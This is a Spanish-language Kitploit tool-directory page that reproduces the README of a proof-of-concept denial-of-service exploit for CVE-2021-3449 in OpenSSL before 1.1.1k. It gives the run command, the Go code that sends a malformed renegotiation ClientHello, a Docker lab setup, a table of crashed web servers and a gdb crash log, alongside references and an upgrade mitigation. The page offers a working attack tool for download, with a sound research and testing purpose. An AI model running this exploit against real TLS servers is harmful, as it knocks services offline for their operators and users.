Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2021-3449 — CVE-2021-3449 exploit de denegación de servicio de OpenSSL 👨🏻‍💻 | Kitploit
Herramientas/GitHubGitHub/riptl/cve-2021-3449
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de Penetración
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 exploit de denegación de servicio de OpenSSL 👨🏻‍💻

Ver Repositorio
2243718hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit DoS de OpenSSL <1.1.1k CVE-2021-3449

Uso: go run . -host hostname:port

Este programa implementa un exploit de prueba de concepto de CVE-2021-3449 que afecta a servidores OpenSSL anteriores a 1.1.1k si se acepta la renegociación segura TLSv1.2.

Se conecta a un servidor TLSv1.2 e inicia inmediatamente una "renegociación segura" RFC 5746. El ataque implica un ClientHello manipulado maliciosamente que provoca que el servidor se bloquee al causar una desreferencia de puntero NULL (denegación de servicio).

Referencias

  • Aviso de seguridad de OpenSSL
  • cve.mitre.org
  • Aviso de seguridad de Ubuntu (USN-4891-1)
  • Rastreador de seguridad de Debian
  • Entrada de CVE de Red Hat

Este problema fue reportado a OpenSSL el 17 de marzo de 2021 por Nokia. La corrección fue desarrollada por Peter Kästle y Samuel Sapalski de Nokia.

Mitigación

La única solución conocida es actualizar libssl1.1.

Aunque algunas aplicaciones usan configuraciones TLS reforzadas por defecto que deshabilitan la renegociación TLS, siguen viéndose afectadas por el fallo si ejecutan una versión antigua de OpenSSL.

Exploit

main.go es un pequeño script que se conecta a un servidor TLS, fuerza una renegociación y se desconecta.

El código del exploit se inyectó en una versión incluida del paquete encoding/tls de Go 1.14.15. Puedes encontrarlo en handshake_client.go:115. La lógica se explica por sí misma.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demo

El directorio demo/ contiene la configuración para parchear varias aplicaciones con una versión vulnerable de OpenSSL.

Configuración de prueba:

  • Descargar y compilar localmente la versión vulnerable de OpenSSL 1.1.1j
  • Preparar un contenedor objetivo de Ubuntu 20.04 y subir las bibliotecas de OpenSSL
  • Instalar la aplicación en el contenedor objetivo
  • Iniciar el servidor y ejecutar el ataque

Requisitos:

  • OpenSSL (en el host)
  • build-essential (Perl, GCC, Make)
  • Docker

Nota: Ninguno de los servidores web enumerados es vulnerable a CVE-2021-3449 con OpenSSL 1.1.1k o posterior.

ServidorDistribuciónVersiónDemoResultado
OpenSSL s_server-1.1.1jmake demo-opensslCaída
Apache2Ubuntu 18.042.4.29make demo-apache2Caída parcial
HAProxyUbuntu 18.041.8.8make demo-haproxyCaída
HAProxyUbuntu 20.042.0.13make demo-haproxySin efecto
lighttpdUbuntu 18.041.4.55make demo-lighttpdCaída
lighttpdUbuntu 20.041.4.55make demo-lighttpdCaída
lighttpdUbuntu 21.041.4.59make demo-lighttpdSin efecto con opción de configuración
NGINXUbuntu 18.041.14.0make demo-nginxCaída parcial
NGINXUbuntu 20.041.18.0make demo-nginxSin efecto
Node.js <=12Ubuntu 18.04Sin efecto
Node.js >12Ubuntu 18.04?make demo-nodejsCaída
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsSin efecto

Para limpiar todos los recursos de demo, ejecuta make clean.

Servidor simple de OpenSSL

El openssl s_server es una implementación mínima de servidor TLS.

  • make demo-openssl: Ejecución completa (puerto 4433)
  • make -C demo build-openssl: Construir la imagen Docker objetivo
  • make -C demo start-openssl: Iniciar el objetivo en el puerto 4433
  • make -C demo stop-openssl: Detener el objetivo

Resultado: Caída completa del servidor.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

El servidor web Apache2 httpd con la configuración por defecto es vulnerable.

  • make demo-apache: Ejecución completa (puerto 443)
  • make -C demo build-apache: Construir la imagen Docker objetivo
  • make -C demo start-apache: Iniciar el objetivo en el puerto 443
  • make -C demo stop-apache: Detener el objetivo

Gracias a @binarytrails por la contribución.

Resultado: Disrupción parcial, el proceso principal sigue vivo pero el proceso worker se bloqueó.

Logs

Descargar herramienta